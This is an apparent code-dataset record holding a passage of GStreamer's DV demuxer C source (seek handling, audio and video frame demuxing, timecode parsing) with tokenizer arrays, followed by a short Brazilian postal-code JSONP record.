dest->abs_rate = src->abs_rate; dest->flags = src->flags; return TRUE; } #endif /* handle seek in push base mode. * * Convert the time seek to a bytes seek and send it * upstream * * FIXME, upstream might be able to perform time based * seek too. * * Does not take ownership of the event. */ static gboolean gst_dvdemux_handle_push_seek (GstDVDemux * dvdemux, GstPad * pad, GstEvent * event) { gboolean res; gdouble rate; GstSeekFlags flags; GstFormat format; GstSeekType cur_type, stop_type; gint64 cur, stop; gint64 start_position, end_position; GstEvent *newevent; gst_event_parse_seek (event, &rate, &format, &flags, &cur_type, &cur, &stop_type, &stop); /* we convert the start/stop on the srcpad to the byte format * on the sinkpad and forward the event */ res = gst_dvdemux_convert_src_to_sink (dvdemux, pad, format, cur, stop, GST_FORMAT_BYTES, &start_position, &end_position); if (!res) goto done; /* now this is the updated seek event on bytes */ newevent = gst_event_new_seek (rate, GST_FORMAT_BYTES, flags, cur_type, start_position, stop_type, end_position); res = gst_pad_push_event (dvdemux->sinkpad, newevent); done: return res; } /* position ourselves to the configured segment, used in pull mode. * The input segment is in TIME format. We convert the time values * to bytes values into our byte_segment which we use to pull data from * the sinkpad peer. */ static gboolean gst_dvdemux_do_seek (GstDVDemux * demux, GstSegment * segment) { gboolean res; GstFormat format; /* position to value configured is last_stop, this will round down * to the byte position where the frame containing the given * timestamp can be found. */ format = GST_FORMAT_BYTES; res = gst_dvdemux_sink_convert (demux, segment->format, segment->last_stop, &format, &demux->byte_segment.last_stop); if (!res) goto done; /* update byte segment start */ gst_dvdemux_sink_convert (demux, segment->format, segment->start, &format, &demux->byte_segment.start); /* update byte segment stop */ gst_dvdemux_sink_convert (demux, segment->format, segment->stop, &format, &demux->byte_segment.stop); /* update byte segment time */ gst_dvdemux_sink_convert (demux, segment->format, segment->time, &format, &demux->byte_segment.time); /* calculate current frame number */ format = GST_FORMAT_DEFAULT; gst_dvdemux_src_convert (demux, demux->videosrcpad, segment->format, segment->start, &format, &demux->video_offset); /* calculate current audio number */ format = GST_FORMAT_DEFAULT; gst_dvdemux_src_convert (demux, demux->audiosrcpad, segment->format, segment->start, &format, &demux->audio_offset); /* every DV frame corresponts with one video frame */ demux->frame_offset = demux->video_offset; done: return res; } /* handle seek in pull base mode. * * Does not take ownership of the event. */ static gboolean gst_dvdemux_handle_pull_seek (GstDVDemux * demux, GstPad * pad, GstEvent * event) { gboolean res; gdouble rate; GstFormat format; GstSeekFlags flags; GstSeekType cur_type, stop_type; gint64 cur, stop; gboolean flush; gboolean update; GstSegment seeksegment; GST_DEBUG_OBJECT (demux, "doing seek"); /* first bring the event format to TIME, our native format * to perform the seek on */ if (event) { GstFormat conv; gst_event_parse_seek (event, &rate, &format, &flags, &cur_type, &cur, &stop_type, &stop); /* can't seek backwards yet */ if (rate <= 0.0) goto wrong_rate; /* convert input format to TIME */ conv = GST_FORMAT_TIME; if (!(gst_dvdemux_convert_src_pair (demux, pad, format, cur, stop, conv, &cur, &stop))) goto no_format; format = GST_FORMAT_TIME; } else { flags = 0; } flush = flags & GST_SEEK_FLAG_FLUSH; /* send flush start */ if (flush) gst_dvdemux_push_event (demux, gst_event_new_flush_start ()); else gst_pad_pause_task (demux->sinkpad); /* grab streaming lock, this should eventually be possible, either * because the task is paused or our streaming thread stopped * because our peer is flushing. */ GST_PAD_STREAM_LOCK (demux->sinkpad); /* make copy into temp structure, we can only update the main one * when the subclass actually could to the seek. */ memcpy (&seeksegment, &demux->time_segment, sizeof (GstSegment)); /* now configure the seek segment */ if (event) { gst_segment_set_seek (&seeksegment, rate, format, flags, cur_type, cur, stop_type, stop, &update); } GST_DEBUG_OBJECT (demux, "segment configured from %" G_GINT64_FORMAT " to %" G_GINT64_FORMAT ", position %" G_GINT64_FORMAT, seeksegment.start, seeksegment.stop, seeksegment.last_stop); /* do the seek, segment.last_stop contains new position. */ res = gst_dvdemux_do_seek (demux, &seeksegment); /* and prepare to continue streaming */ if (flush) { /* send flush stop, peer will accept data and events again. We * are not yet providing data as we still have the STREAM_LOCK. */ gst_dvdemux_push_event (demux, gst_event_new_flush_stop ()); } else if (res && demux->running) { /* we are running the current segment and doing a non-flushing seek, * close the segment first based on the last_stop. */ GST_DEBUG_OBJECT (demux, "closing running segment %" G_GINT64_FORMAT " to %" G_GINT64_FORMAT, demux->time_segment.start, demux->time_segment.last_stop); gst_dvdemux_push_event (demux, gst_event_new_new_segment (TRUE, demux->time_segment.rate, demux->time_segment.format, demux->time_segment.start, demux->time_segment.last_stop, demux->time_segment.time)); } /* if successfull seek, we update our real segment and push * out the new segment. */ if (res) { memcpy (&demux->time_segment, &seeksegment, sizeof (GstSegment)); if (demux->time_segment.flags & GST_SEEK_FLAG_SEGMENT) { gst_element_post_message (GST_ELEMENT_CAST (demux), gst_message_new_segment_start (GST_OBJECT_CAST (demux), demux->time_segment.format, demux->time_segment.last_stop)); } if ((stop = demux->time_segment.stop) == -1) stop = demux->time_segment.duration; GST_INFO_OBJECT (demux, "Saving newsegment event to be sent in streaming thread"); if (demux->pending_segment) gst_event_unref (demux->pending_segment); demux->pending_segment = gst_event_new_new_segment (FALSE, demux->time_segment.rate, demux->time_segment.format, demux->time_segment.last_stop, stop, demux->time_segment.time); demux->need_segment = FALSE; } demux->running = TRUE; /* and restart the task in case it got paused explicitely or by * the FLUSH_START event we pushed out. */ gst_pad_start_task (demux->sinkpad, (GstTaskFunction) gst_dvdemux_loop, demux->sinkpad); /* and release the lock again so we can continue streaming */ GST_PAD_STREAM_UNLOCK (demux->sinkpad); return TRUE; /* ERRORS */ wrong_rate: { GST_DEBUG_OBJECT (demux, "negative playback rate %lf not supported.", rate); return FALSE; } no_format: { GST_DEBUG_OBJECT (demux, "cannot convert to TIME format, seek aborted."); return FALSE; } } static gboolean gst_dvdemux_send_event (GstElement * element, GstEvent * event) { GstDVDemux *dvdemux = GST_DVDEMUX (element); gboolean res = FALSE; switch (GST_EVENT_TYPE (event)) { case GST_EVENT_SEEK: { /* checking header and configuring the seek must be atomic */ GST_OBJECT_LOCK (dvdemux); if (g_atomic_int_get (&dvdemux->found_header) == 0) { GstEvent **event_p; event_p = &dvdemux->seek_event; /* We don't have pads yet. Keep the event. */ GST_INFO_OBJECT (dvdemux, "Keeping the seek event for later"); gst_event_replace (event_p, event); GST_OBJECT_UNLOCK (dvdemux); res = TRUE; } else { GST_OBJECT_UNLOCK (dvdemux); if (dvdemux->seek_handler) res = dvdemux->seek_handler (dvdemux, dvdemux->videosrcpad, event); } break; } default: break; } return res; } /* handle an event on the source pad, it's most likely a seek */ static gboolean gst_dvdemux_handle_src_event (GstPad * pad, GstEvent * event) { gboolean res = TRUE; GstDVDemux *dvdemux; dvdemux = GST_DVDEMUX (gst_pad_get_parent (pad)); switch (GST_EVENT_TYPE (event)) { case GST_EVENT_SEEK: /* seek handler is installed based on scheduling mode */ if (dvdemux->seek_handler) res = dvdemux->seek_handler (dvdemux, pad, event); else res = FALSE; break; case GST_EVENT_QOS: /* we can't really (yet) do QoS */ res = FALSE; break; case GST_EVENT_NAVIGATION: /* no navigation either... */ res = FALSE; break; default: res = gst_pad_push_event (dvdemux->sinkpad, event); event = NULL; break; } if (event) gst_event_unref (event); gst_object_unref (dvdemux); return res; } /* does not take ownership of buffer */ static GstFlowReturn gst_dvdemux_demux_audio (GstDVDemux * dvdemux, GstBuffer * buffer, guint64 duration) { gint num_samples; GstFlowReturn ret; const guint8 *data; data = GST_BUFFER_DATA (buffer); dv_decode_full_audio (dvdemux->decoder, data, dvdemux->audio_buffers); if (G_LIKELY ((num_samples = dv_get_num_samples (dvdemux->decoder)) > 0)) { gint16 *a_ptr; gint i, j; GstBuffer *outbuf; gint frequency, channels; if (G_UNLIKELY (dvdemux->audiosrcpad == NULL)) dvdemux->audiosrcpad = gst_dvdemux_add_pad (dvdemux, &audio_src_temp); /* get initial format or check if format changed */ frequency = dv_get_frequency (dvdemux->decoder); channels = dv_get_num_channels (dvdemux->decoder); if (G_UNLIKELY ((frequency != dvdemux->frequency) || (channels != dvdemux->channels))) { GstCaps *caps; dvdemux->frequency = frequency; dvdemux->channels = channels; /* and set new caps */ caps = gst_caps_new_simple ("audio/x-raw-int", "rate", G_TYPE_INT, frequency, "depth", G_TYPE_INT, 16, "width", G_TYPE_INT, 16, "signed", G_TYPE_BOOLEAN, TRUE, "channels", G_TYPE_INT, channels, "endianness", G_TYPE_INT, G_BYTE_ORDER, NULL); gst_pad_set_caps (dvdemux->audiosrcpad, caps); gst_caps_unref (caps); } outbuf = gst_buffer_new_and_alloc (num_samples * sizeof (gint16) * dvdemux->channels); a_ptr = (gint16 *) GST_BUFFER_DATA (outbuf); for (i = 0; i < num_samples; i++) { for (j = 0; j < dvdemux->channels; j++) { *(a_ptr++) = dvdemux->audio_buffers[j][i]; } } GST_DEBUG ("pushing audio %" GST_TIME_FORMAT, GST_TIME_ARGS (dvdemux->time_segment.last_stop)); GST_BUFFER_TIMESTAMP (outbuf) = dvdemux->time_segment.last_stop; GST_BUFFER_DURATION (outbuf) = duration; GST_BUFFER_OFFSET (outbuf) = dvdemux->audio_offset; dvdemux->audio_offset += num_samples; GST_BUFFER_OFFSET_END (outbuf) = dvdemux->audio_offset; if (dvdemux->new_media) GST_BUFFER_FLAG_SET (outbuf, GST_BUFFER_FLAG_DISCONT); gst_buffer_set_caps (outbuf, GST_PAD_CAPS (dvdemux->audiosrcpad)); ret = gst_pad_push (dvdemux->audiosrcpad, outbuf); } else { /* no samples */ ret = GST_FLOW_OK; } return ret; } /* takes ownership of buffer */ static GstFlowReturn gst_dvdemux_demux_video (GstDVDemux * dvdemux, GstBuffer * buffer, guint64 duration) { GstBuffer *outbuf; gint height; gboolean wide; GstFlowReturn ret = GST_FLOW_OK; if (G_UNLIKELY (dvdemux->videosrcpad == NULL)) dvdemux->videosrcpad = gst_dvdemux_add_pad (dvdemux, &video_src_temp); /* get params */ /* framerate is already up-to-date */ height = dvdemux->decoder->height; wide = dv_format_wide (dvdemux->decoder); /* see if anything changed */ if (G_UNLIKELY ((dvdemux->height != height) || dvdemux->wide != wide)) { GstCaps *caps; gint par_x, par_y; dvdemux->height = height; dvdemux->wide = wide; if (dvdemux->decoder->system == e_dv_system_625_50) { if (wide) { par_x = PAL_WIDE_PAR_X; par_y = PAL_WIDE_PAR_Y; } else { par_x = PAL_NORMAL_PAR_X; par_y = PAL_NORMAL_PAR_Y; } } else { if (wide) { par_x = NTSC_WIDE_PAR_X; par_y = NTSC_WIDE_PAR_Y; } else { par_x = NTSC_NORMAL_PAR_X; par_y = NTSC_NORMAL_PAR_Y; } } caps = gst_caps_new_simple ("video/x-dv", "systemstream", G_TYPE_BOOLEAN, FALSE, "width", G_TYPE_INT, 720, "height", G_TYPE_INT, height, "framerate", GST_TYPE_FRACTION, dvdemux->framerate_numerator, dvdemux->framerate_denominator, "pixel-aspect-ratio", GST_TYPE_FRACTION, par_x, par_y, NULL); gst_pad_set_caps (dvdemux->videosrcpad, caps); gst_caps_unref (caps); } /* takes ownership of buffer here, we just need to modify * the metadata. */ outbuf = gst_buffer_make_metadata_writable (buffer); GST_BUFFER_TIMESTAMP (outbuf) = dvdemux->time_segment.last_stop; GST_BUFFER_OFFSET (outbuf) = dvdemux->video_offset; GST_BUFFER_OFFSET_END (outbuf) = dvdemux->video_offset + 1; GST_BUFFER_DURATION (outbuf) = duration; if (dvdemux->new_media) GST_BUFFER_FLAG_SET (outbuf, GST_BUFFER_FLAG_DISCONT); gst_buffer_set_caps (outbuf, GST_PAD_CAPS (dvdemux->videosrcpad)); GST_DEBUG ("pushing video %" GST_TIME_FORMAT, GST_TIME_ARGS (dvdemux->time_segment.last_stop)); ret = gst_pad_push (dvdemux->videosrcpad, outbuf); dvdemux->video_offset++; return ret; } static int get_ssyb_offset (int dif, int ssyb) { int offset; offset = dif * 12000; /* to dif */ offset += 80 * (1 + (ssyb / 6)); /* to subcode pack */ offset += 3; /* past header */ offset += 8 * (ssyb % 6); /* to ssyb */ return offset; } static gboolean gst_dvdemux_get_timecode (GstDVDemux * dvdemux, GstBuffer * buffer, GstSMPTETimeCode * timecode) { guint8 *data = GST_BUFFER_DATA (buffer); int offset; int dif; int n_difs = dvdemux->decoder->num_dif_seqs; for (dif = 0; dif < n_difs; dif++) { offset = get_ssyb_offset (dif, 3); if (data[offset + 3] == 0x13) { timecode->frames = ((data[offset + 4] >> 4) & 0x3) * 10 + (data[offset + 4] & 0xf); timecode->seconds = ((data[offset + 5] >> 4) & 0x3) * 10 + (data[offset + 5] & 0xf); timecode->minutes = ((data[offset + 6] >> 4) & 0x3) * 10 + (data[offset + 6] & 0xf); timecode->hours = ((data[offset + 7] >> 4) & 0x3) * 10 + (data[offset + 7] & 0xf); GST_DEBUG ("got timecode %" GST_SMPTE_TIME_CODE_FORMAT, GST_SMPTE_TIME_CODE_ARGS (timecode)); return TRUE; } } return FALSE; } static gboolean gst_dvdemux_is_new_media (GstDVDemux * dvdemux, GstBuffer * buffer) { guint8 *data = GST_BUFFER_DATA (buffer); int aaux_offset; int dif; int n_difs; n_difs = dvdemux->decoder->num_dif_seqs; for (dif = 0; dif < n_difs; dif++) { if (dif & 1) { aaux_offset = (dif * 12000) + (6 + 16 * 1) * 80 + 3; } else { aaux_offset = (dif * 12000) + (6 + 16 * 4) * 80 + 3; } if (data[aaux_offset + 0] == 0x51) { if ((data[aaux_offset + 2] & 0x80) == 0) return TRUE; } } return FALSE; } /* takes ownership of buffer */ static GstFlowReturn gst_dvdemux_demux_frame (GstDVDemux * dvdemux, GstBuffer * buffer) { GstClockTime next_ts; GstFlowReturn aret, vret, ret; guint8 *data; guint64 duration; GstSMPTETimeCode timecode; int frame_number; if (G_UNLIKELY (dvdemux->need_segment)) { GstEvent *event; GstFormat format; /* convert to time and store as start/end_timestamp */ format = GST_FORMAT_TIME; if (!(gst_dvdemux_convert_sink_pair (dvdemux, GST_FORMAT_BYTES, dvdemux->byte_segment.start, dvdemux->byte_segment.stop, format, &dvdemux->time_segment.start, &dvdemux->time_segment.stop))) goto segment_error; dvdemux->time_segment.rate = dvdemux->byte_segment.rate; dvdemux->time_segment.abs_rate = dvdemux->byte_segment.abs_rate; dvdemux->time_segment.last_stop = dvdemux->time_segment.start; /* calculate current frame number */ format = GST_FORMAT_DEFAULT; if (!(gst_dvdemux_src_convert (dvdemux, dvdemux->videosrcpad, GST_FORMAT_TIME, dvdemux->time_segment.start, &format, &dvdemux->frame_offset))) goto segment_error; GST_DEBUG_OBJECT (dvdemux, "sending segment start: %" GST_TIME_FORMAT ", stop: %" GST_TIME_FORMAT ", time: %" GST_TIME_FORMAT, GST_TIME_ARGS (dvdemux->time_segment.start), GST_TIME_ARGS (dvdemux->time_segment.stop), GST_TIME_ARGS (dvdemux->time_segment.start)); event = gst_event_new_new_segment (FALSE, dvdemux->byte_segment.rate, GST_FORMAT_TIME, dvdemux->time_segment.start, dvdemux->time_segment.stop, dvdemux->time_segment.start); gst_dvdemux_push_event (dvdemux, event); dvdemux->need_segment = FALSE; } gst_dvdemux_get_timecode (dvdemux, buffer, &timecode); gst_smpte_time_code_get_frame_number ( (dvdemux->decoder->system == e_dv_system_625_50) ? GST_SMPTE_TIME_CODE_SYSTEM_25 : GST_SMPTE_TIME_CODE_SYSTEM_30, &frame_number, &timecode); next_ts = gst_util_uint64_scale_int ( (dvdemux->frame_offset + 1) * GST_SECOND, dvdemux->framerate_denominator, dvdemux->framerate_numerator); duration = next_ts - dvdemux->time_segment.last_stop; data = GST_BUFFER_DATA (buffer); dv_parse_packs (dvdemux->decoder, data); dvdemux->new_media = FALSE; if (gst_dvdemux_is_new_media (dvdemux, buffer) && dvdemux->frames_since_new_media > 2) { dvdemux->new_media = TRUE; dvdemux->frames_since_new_media = 0; } dvdemux->frames_since_new_media++; /* does not take ownership of buffer */ aret = ret = gst_dvdemux_demux_audio (dvdemux, buffer, duration); if (G_UNLIKELY (ret != GST_FLOW_OK && ret != GST_FLOW_NOT_LINKED)) { gst_buffer_unref (buffer); goto done; } /* takes ownership of buffer */ vret = ret = gst_dvdemux_demux_video (dvdemux, buffer, duration); if (G_UNLIKELY (ret != GST_FLOW_OK && ret != GST_FLOW_NOT_LINKED)) goto done; /* if both are not linked, we stop */ if (G_UNLIKELY (aret == GST_FLOW_NOT_LINKED && vret == GST_FLOW_NOT_LINKED)) { ret = GST_FLOW_NOT_LINKED; goto done; } gst_segment_set_last_stop (&dvdemux->time_segment, GST_FORMAT_TIME, next_ts); dvdemux->frame_offset++; /* check for the end of the segment */ if (dvdemux->time_segment.stop != -1 && next_ts > dvdemux->time_segment.stop) ret = GST_FLOW_UNEXPECTED; else ret = GST_FLOW_OK; done: return ret; /* ERRORS */ segment_error: { GST_DEBUG ("error generating new_segment event"); gst_buffer_unref (buffer); return GST_FLOW_ERROR; } } /* flush any remaining data in the adapter, used in chain based scheduling mode */ static GstFlowReturn gst_dvdemux_flush (GstDVDemux * dvdemux) { GstFlowReturn ret = GST_FLOW_OK; while (gst_adapter_available (dvdemux->adapter) >= dvdemux->frame_len) { const guint8 *data; gint length; /* get the accumulated bytes */ data = gst_adapter_peek (dvdemux->adapter, dvdemux->frame_len); /* parse header to know the length and other params */ if (G_UNLIKELY (dv_parse_header (dvdemux->decoder, data) < 0)) goto parse_header_error; /* after parsing the header we know the length of the data */ length = dvdemux->frame_len = dvdemux->decoder->frame_size; if (dvdemux->decoder->system == e_dv_system_625_50) { dvdemux->framerate_numerator = PAL_FRAMERATE_NUMERATOR; dvdemux->framerate_denominator = PAL_FRAMERATE_DENOMINATOR; } else { dvdemux->framerate_numerator = NTSC_FRAMERATE_NUMERATOR; dvdemux->framerate_denominator = NTSC_FRAMERATE_DENOMINATOR; } g_atomic_int_set (&dvdemux->found_header, 1); /* let demux_video set the height, it needs to detect when things change so * it can reset caps */ /* if we still have enough for a frame, start decoding */ if (G_LIKELY (gst_adapter_available (dvdemux->adapter) >= length)) { GstBuffer *buffer; data = gst_adapter_take (dvdemux->adapter, length); /* create buffer for the remainder of the code */ buffer = gst_buffer_new (); GST_BUFFER_DATA (buffer) = (guint8 *) data; GST_BUFFER_SIZE (buffer) = length; GST_BUFFER_MALLOCDATA (buffer) = (guint8 *) data; /* and decode the buffer, takes ownership */ ret = gst_dvdemux_demux_frame (dvdemux, buffer); if (G_UNLIKELY (ret != GST_FLOW_OK)) goto done; } } done: return ret; /* ERRORS */ parse_header_error: { GST_ELEMENT_ERROR (dvdemux, STREAM, DECODE, (NULL), ("Error parsing DV header")); return GST_FLOW_ERROR; } } /* streaming operation: * * accumulate data until we have a frame, then decode. */ static GstFlowReturn gst_dvdemux_chain (GstPad * pad, GstBuffer * buffer) { GstDVDemux *dvdemux; GstFlowReturn ret; GstClockTime timestamp; dvdemux = GST_DVDEMUX (gst_pad_get_parent (pad)); /* a discontinuity in the stream, we need to get rid of * accumulated data in the adapter and assume a new frame * starts after the discontinuity */ if (G_UNLIKELY (GST_BUFFER_FLAG_IS_SET (buffer, GST_BUFFER_FLAG_DISCONT))) gst_adapter_clear (dvdemux->adapter); /* a timestamp always should be respected */ timestamp = GST_BUFFER_TIMESTAMP (buffer); if (GST_CLOCK_TIME_IS_VALID (timestamp)) { gst_segment_set_last_stop (&dvdemux->time_segment, GST_FORMAT_TIME, timestamp); /* FIXME, adjust frame_offset and other counters */ } gst_adapter_push (dvdemux->adapter, buffer); /* Apparently dv_parse_header can read from the body of the frame * too, so it needs more than header_size bytes. Wacky! */ if (G_UNLIKELY (dvdemux->frame_len == -1)) { /* if we don't know the length of a frame, we assume it is * the NTSC_BUFFER length, as this is enough to figure out * if this is PAL or NTSC */ dvdemux->frame_len = NTSC_BUFFER; } /* and try to flush pending frames */ ret = gst_dvdemux_flush (dvdemux); gst_object_unref (dvdemux); return ret; } /* pull based operation. * * Read header first to figure out the frame size. Then read * and decode full frames. */ static void gst_dvdemux_loop (GstPad * pad) { GstFlowReturn ret; GstDVDemux *dvdemux; GstBuffer *buffer = NULL; const guint8 *data; dvdemux = GST_DVDEMUX (gst_pad_get_parent (pad)); if (G_UNLIKELY (g_atomic_int_get (&dvdemux->found_header) == 0)) { GST_DEBUG_OBJECT (dvdemux, "pulling first buffer"); /* pull in NTSC sized buffer to figure out the frame * length */ ret = gst_pad_pull_range (dvdemux->sinkpad, dvdemux->byte_segment.last_stop, NTSC_BUFFER, &buffer); if (G_UNLIKELY (ret != GST_FLOW_OK)) goto pause; /* check buffer size, don't want to read small buffers */ if (G_UNLIKELY (GST_BUFFER_SIZE (buffer) < NTSC_BUFFER)) goto small_buffer; data = GST_BUFFER_DATA (buffer); /* parse header to know the length and other params */ if (G_UNLIKELY (dv_parse_header (dvdemux->decoder, data) < 0)) goto parse_header_error; /* after parsing the header we know the length of the data */ dvdemux->frame_len = dvdemux->decoder->frame_size; if (dvdemux->decoder->system == e_dv_system_625_50) { dvdemux->framerate_numerator = PAL_FRAMERATE_NUMERATOR; dvdemux->framerate_denominator = PAL_FRAMERATE_DENOMINATOR; } else { dvdemux->framerate_numerator = NTSC_FRAMERATE_NUMERATOR; dvdemux->framerate_denominator = NTSC_FRAMERATE_DENOMINATOR; } dvdemux->need_segment = TRUE; /* see if we need to read a larger part */ if (dvdemux->frame_len != NTSC_BUFFER) { gst_buffer_unref (buffer); buffer = NULL; } { GstEvent *event; /* setting header and prrforming the seek must be atomic */ GST_OBJECT_LOCK (dvdemux); /* got header now */ g_atomic_int_set (&dvdemux->found_header, 1); /* now perform pending seek if any. */ event = dvdemux->seek_event; if (event) gst_event_ref (event); GST_OBJECT_UNLOCK (dvdemux); if (event) { if (!gst_dvdemux_handle_pull_seek (dvdemux, dvdemux->videosrcpad, event)) { GST_ELEMENT_WARNING (dvdemux, STREAM, DECODE, (NULL), ("Error perfoming initial seek")); } gst_event_unref (event); /* and we need to pull a new buffer in all cases. */ if (buffer) { gst_buffer_unref (buffer); buffer = NULL; } } } } if (G_UNLIKELY (dvdemux->pending_segment)) { /* now send the newsegment */ GST_DEBUG_OBJECT (dvdemux, "Sending newsegment from"); gst_dvdemux_push_event (dvdemux, dvdemux->pending_segment); dvdemux->pending_segment = NULL; } if (G_LIKELY (buffer == NULL)) { GST_DEBUG_OBJECT (dvdemux, "pulling buffer at offset %" G_GINT64_FORMAT, dvdemux->byte_segment.last_stop); ret = gst_pad_pull_range (dvdemux->sinkpad, dvdemux->byte_segment.last_stop, dvdemux->frame_len, &buffer); if (ret != GST_FLOW_OK) goto pause; /* check buffer size, don't want to read small buffers */ if (GST_BUFFER_SIZE (buffer) < dvdemux->frame_len) goto small_buffer; } /* and decode the buffer */ ret = gst_dvdemux_demux_frame (dvdemux, buffer); if (G_UNLIKELY (ret != GST_FLOW_OK)) goto pause; /* and position ourselves for the next buffer */ dvdemux->byte_segment.last_stop += dvdemux->frame_len; done: gst_object_unref (dvdemux); return; /* ERRORS */ parse_header_error: { GST_ELEMENT_ERROR (dvdemux, STREAM, DECODE, (NULL), ("Error parsing DV header")); gst_buffer_unref (buffer); dvdemux->running = FALSE; gst_pad_pause_task (dvdemux->sinkpad); gst_dvdemux_push_event (dvdemux, gst_event_new_eos ()); goto done; } small_buffer: { GST_ELEMENT_ERROR (dvdemux, STREAM, DECODE, (NULL), ("Error reading buffer")); gst_buffer_unref (buffer); dvdemux->running = FALSE; gst_pad_pause_task (dvdemux->sinkpad); gst_dvdemux_push_event (dvdemux, gst_event_new_eos ()); goto done; } pause: { GST_INFO_OBJECT (dvdemux, "pausing task, %s", gst_flow_get_name (ret)); dvdemux->running = FALSE; gst_pad_pause_task (dvdemux->sinkpad); if (ret == GST_FLOW_UNEXPECTED) { GST_LOG_OBJECT (dvdemux, "got eos"); /* perform EOS logic */ if (dvdemux->time_segment.flags & GST_SEEK_FLAG_SEGMENT) { gst_element_post_message (GST_ELEMENT (dvdemux), gst_message_new_segment_done (GST_OBJECT_CAST (dvdemux), dvdemux->time_segment.format, dvdemux->time_segment.last_stop)); } else { gst_dvdemux_push_event (dvdemux, gst_event_new_eos ()); } } else if (ret == GST_FLOW_NOT_LINKED || ret < GST_FLOW_UNEXPECTED) { /* for fatal errors or not-linked we post an error message */ GST_ELEMENT_ERROR (dvdemux, STREAM, FAILED, (NULL), ("streaming stopped, reason %s", gst_flow_get_name (ret))); gst_dvdemux_push_event (dvdemux, gst_event_new_eos ()); } goto done; } } static gboolean gst_dvdemux_sink_activate_push (GstPad * sinkpad, gboolean active) { GstDVDemux *demux = GST_DVDEMUX (gst_pad_get_parent (sinkpad)); if (active) { demux->seek_handler = gst_dvdemux_handle_push_seek; } else { demux->seek_handler = NULL; } gst_object_unref (demux); return TRUE; } static gboolean gst_dvdemux_sink_activate_pull (GstPad * sinkpad, gboolean active) { GstDVDemux *demux = GST_DVDEMUX (gst_pad_get_parent (sinkpad)); if (active) { demux->running = TRUE; demux->seek_handler = gst_dvdemux_handle_pull_seek; gst_pad_start_task (sinkpad, (GstTaskFunction) gst_dvdemux_loop, sinkpad); } else { demux->seek_handler = NULL; gst_pad_stop_task (sinkpad); demux->running = FALSE; } gst_object_unref (demux); return TRUE; }; /* decide on push or pull based scheduling */ static gboolean gst_dvdemux_sink_activate (GstPad * sinkpad) { gboolean ret; if (gst_pad_check_pull_range (sinkpad)) ret = gst_pad_activate_pull (sinkpad, TRUE); else ret = gst_pad_activate_push (sinkpad, TRUE); return ret; }; static GstStateChangeReturn gst_dvdemux_change_state (GstElement * element, GstStateChange transition) { GstDVDemux *dvdemux = GST_DVDEMUX (element); GstStateChangeReturn ret; switch (transition) { case GST_STATE_CHANGE_NULL_TO_READY: break; case GST_STATE_CHANGE_READY_TO_PAUSED: dvdemux->decoder = dv_decoder_new (0, FALSE, FALSE); dv_set_error_log (dvdemux->decoder, NULL); gst_dvdemux_reset (dvdemux); break; case GST_STATE_CHANGE_PAUSED_TO_PLAYING: break; default: break; } ret = parent_class->change_state (element, transition); switch (transition) { case GST_STATE_CHANGE_PLAYING_TO_PAUSED: break; case GST_STATE_CHANGE_PAUSED_TO_READY: gst_adapter_clear (dvdemux->adapter); dv_decoder_free (dvdemux->decoder); dvdemux->decoder = NULL; gst_dvdemux_remove_pads (dvdemux); break; case GST_STATE_CHANGE_READY_TO_NULL: { GstEvent **event_p; event_p = &dvdemux->seek_event; gst_event_replace (event_p, NULL); if (dvdemux->pending_segment) gst_event_unref (dvdemux->pending_segment); dvdemux->pending_segment = NULL; break; } default: break; } return ret; }
mrchapp/gst-plugins-good
ext/dv/gstdvdemux.c
C
lgpl-2.1
57,851
[ 30522, 1013, 1008, 28177, 25379, 2121, 1008, 9385, 1006, 1039, 1007, 1026, 2639, 1028, 10240, 10598, 10606, 5054, 1026, 14827, 1030, 20116, 2063, 1012, 13958, 2072, 1012, 3968, 2226, 1028, 1008, 1026, 2384, 1028, 15536, 2213, 28117, 15154, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
jsonp({"cep":"58071979","logradouro":"Rodovia BR-230","bairro":"Cristo Redentor","cidade":"Jo\u00e3o Pessoa","uf":"PB","estado":"Para\u00edba"});
lfreneda/cepdb
api/v1/58071979.jsonp.js
JavaScript
cc0-1.0
146
[ 30522, 1046, 3385, 2361, 1006, 1063, 1000, 8292, 2361, 1000, 1024, 1000, 23712, 2581, 16147, 2581, 2683, 1000, 1010, 1000, 8833, 12173, 8162, 2080, 1000, 1024, 1000, 8473, 4492, 2401, 7987, 1011, 11816, 1000, 1010, 1000, 21790, 18933, 1000,...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
